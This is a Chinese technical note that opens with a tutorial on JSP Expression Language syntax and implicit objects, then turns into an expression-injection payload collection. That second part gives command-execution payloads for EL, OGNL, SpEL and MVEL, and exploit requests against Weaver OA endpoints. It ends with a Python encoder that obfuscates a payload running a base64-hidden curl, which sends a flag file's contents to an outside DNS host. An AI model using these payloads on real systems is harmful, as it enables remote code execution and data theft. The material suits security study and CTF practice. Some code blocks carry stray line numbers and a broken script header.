主要功能

EL表达式主要功能如下

[!NOTE]
获取数据:EL表达式主要用于替换JSP页面中的脚本表达式, 以从各种类型的Web域中检索Java对象、获取数据(某个Web域中的对象, 访问JavaBean的属性、访问List集合、访问Map集合、访问数组).

执行运算: 利用EL表达式可以在JSP页面中执行一些基本的关系运算、逻辑运算和算术运算, 以在JSP页面中完成一些简单的逻辑运算, 例如${user==null}.

获取Web开发常用对象:EL表达式定义了一些隐式对象, 利用这些隐式对象,Web开发人员可以很轻松获得对Web常用对象的引用, 从而获得这些对象中的数据.

调用Java方法:EL表达式允许用户开发自定义EL函数, 以在JSP页面中通过EL表达式调用Java类的方法.

特点

可得到PageContext属性值.

[!NOTE]
可直接访问JSP的内置对象, 如page,request,session,application等.

运算符丰富, 有关系运算符、逻辑运算符、算术运算符等.

扩展函数可与JAVA类的静态方法对应.

基本语法

所有EL表达式的格式都是以${}表示,例如 ${userinfo}代表获取变量userinfo的值.当EL表达式中的变量不给定范围时,则默认在page范围查找,然后依次在request,session,application范围查找,也可以用范围作为前缀表示属于哪个范围的变量,例如 ${pageScope.userinfo}表示访问page范围中的userinfo变量

[]与.运算符

当要存取的属性名称中包含一些特殊字符,如.或-等非字母或数字的符号,就一定要使用[],例如${user.My-Name}就要改为 ${user["myname"]}

如果要动态取值时, 就可以用[]来做, 而.无法做到动态取值, 例如:${sessionScope.user[data]}data是一个变量.

变量

EL表达式存取变量数据的方法很简单, 例如:${username}. 它的意思是取出某一范围中名称为username的变量. 因为我们并没有指定哪一个范围的username, 所以它会依序从PageRequestSessionApplication范围查找. 假如途中找到username, 就直接回传, 不再继续找下去, 但是假如全部的范围都没有找到时, 就回传"".

操作符

JSP表达式语言提供以下操作符, 其中大部分是Java中常用的操作符:

术语 定义
算术型 +-(二元)、*/div%mod-(一元).
逻辑型 and&&or、`
关系型 ==eq!=ne<lt>gt<=le>=ge. 可以与其他值进行比较, 或与布尔型、字符串型、整型或浮点型文字进行比较.
empty空操作符是前缀操作, 可用于确定值是否为空.
条件型 A ? B : C. 根据A赋值的结果来赋值BC.

隐式对象

JSP表达式语言定义了一组隐式对象, 其中许多对象在JSP Scriplet和表达式中可用:

术语 定义
pageContext JSP页的上下文, 可以用于访问JSP隐式对象, 如请求、响应、会话、输出、servletContext等. 例如,${pageContext.response}为页面的响应对象赋值.

此外, 还提供几个隐式对象, 允许对以下对象进行简易访问:

术语 定义
param 将请求参数名称映射到单个字符串参数值(通过调用ServletRequest.getParameter(String name)获得).getParameter(String)方法返回带有特定名称的参数. 表达式${param.name}相当于request.getParameter(name).
paramValues 将请求参数名称映射到一个数值数组(通过调用ServletRequest.getParameter(String name)获得). 它与param隐式对象非常类似, 但它检索一个字符串数组而不是单个值. 表达式${paramvalues.name}相当于request.getParamterValues(name).
header 将请求头名称映射到单个字符串头值(通过调用ServletRequest.getHeader(String name)获得). 表达式${header.name}相当于request.getHeader(name).
headerValues 将请求头名称映射到一个数值数组(通过调用ServletRequest.getHeaders(String)获得). 它与头隐式对象非常类似, 表达式${headerValues.name}相当于request.getHeaderValues(name).
cookie cookie名称映射到单个cookie对象. 向服务器发出的客户端请求可以获得一个或多个cookie. 表达式${cookie.name.value}返回带有特定名称的第一个cookie值. 如果请求包含多个同名的cookie, 则应该使用${headerValues.name}表达式.
initParam 将上下文初始化参数名称映射到单个值(通过调用ServletContext.getInitparameter(String name)获得).

除了上述两种类型的隐式对象之外, 还有些对象允许访问多种范围的变量, 如Web 上下文会话请求页面:

术语 定义
pageScope 将页面范围的变量名称映射到其值. 例如,EL表达式可以使用${pageScope.objectName}访问一个JSP中页面范围的对象, 还可以使用${pageScope.objectName.attributeName}访问对象的属性.
requestScope 将请求范围的变量名称映射到其值, 该对象允许访问请求对象的属性. 例如,EL表达式可以使用${requestScope.objectName}访问一个JSP请求范围的对象, 还可以使用${requestScope.objectName.attributeName}访问对象的属性.
sessionScope 将会话范围的变量名称映射到其值, 该对象允许访问会话对象的属性. 例如,${sessionScope.name}.
applicationScope 将应用程序范围的变量名称映射到其值, 该隐式对象允许访问应用程序范围的对象.

函数

1
${ns:func(param1, param2, ...)}

用el表达式调用函数必须使用taglib引入你的标签库

调用Java方法

1
2
3
4
5
6
7
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@taglib prefix="elFunc" uri="http://www.test.com/elFunc" %>
<%
String name = "张三";
request.setAttribute("name",name);
%>
调用函数:${elFunc:elFunc(name)}

表达式注入实例

通用POC

1
2
3
4
5
${pageContext}
${pageContext.getSession().getServletContext().getClassLoader().getResource("")}
${header}
${applicationScope}
${pageContext.setAttribute("a","".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"calc.exe"))}

Struts2 OGNL

1
2
@[类全名(包括包路径)]@[方法名 |  值名],例如:
@java.lang.String@format('foo %s', 'bar')

实例代码

1
2
3
4
ActionContext AC = ActionContext.getContext();
String expression = "${(new java.lang.ProcessBuilder('calc')).start()}";
AC.getValueStack().findValue(expression));

Spring SPEL

1
2
String expression = "T(java.lang.Runtime).getRuntime().exec(/"calc/")";
String result = parser.parseExpression(expression).getValue().toString();

JSP JSTL_EL

1
2
<spring:message text="${/"/".getClass().forName(/"java.lang.Runtime/").getMethod(/"getRuntime/",null).invoke(null,null).exec(/"calc/",null).toString()}">
</spring:message>

Elasticsearch MVEL

1
2
String expression = "new java.lang.ProcessBuilder(/"calc/").start();";  
Boolean result = (Boolean) MVEL.eval(expression, vars);

泛微OA EL表达式注入

1
login.do?message=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream())

或者POST

1
message=(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#w=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter()).(#w.print(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(#parameters.cmd[0]).getInputStream()))).(#w.close())&cmd=whoami
1
2
POST /weaver/bsh.servlet.BshServlet
bsh.script=eval%00("ex"%2b"ec(\\"cmd+/c+calc\\")");&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw

字符串拼接绕过对字符串的检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

Author: fault

Date: 2024-02-19 01:14:47

LastEditors: fault

LastEditTime: 2024-02-19 01:45:09

Description: wish_my_code_not_fault

version: 1.0

'''

def encode(payload):

    encode_payload = ""

    for i in range(0, len(payload)):

        if i == 0:

            encode_payload += "true.toString().charAt(0).toChars(%d)[0].toString()" % ord(payload[0])

        else:

            encode_payload += ".concat(true.toString().charAt(0).toChars(%d)[0].toString())" % ord(payload[i])

    return encode_payload



#${pageContext.setAttribute(%s,"".getClass().forName(%s).getMethod(%s,"".getClass()).invoke("".getClass().forName(%s).getMethod(%s).invoke(null),%s))}



exp = '${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(%s)}' % (encode('java.lang.Runtime.getRuntime().exec("bash -c {echo,Y3VybCBgL3JlYWRmbGFnYC5hZTc3MzUxMjgyLmlwdjYuMTQzMy5ldS5vcmc=}|{base64,-d}|{bash,-i}")'))



print(exp)